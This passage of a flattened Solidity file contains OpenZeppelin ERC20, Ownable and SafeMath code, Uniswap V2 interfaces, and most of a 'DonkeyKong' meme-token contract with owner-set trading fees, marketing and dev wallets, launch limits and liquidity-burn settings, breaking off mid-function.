account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract DonkeyKong is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("DonkeyKong", "DonkeyKong") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 8; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 3; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 5; uint256 totalSupply = 100_000_000_000 * 1e18; maxTransactionAmount = 100_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn maxWallet = 100_000_000 * 1e18; // 1% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x87DDE01506eDAF3E47102d6CE4f2F1aEB6835846); // set as marketing wallet devWallet = address(0xca5ae849410F019bDFe162a91650A88399Dde184); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 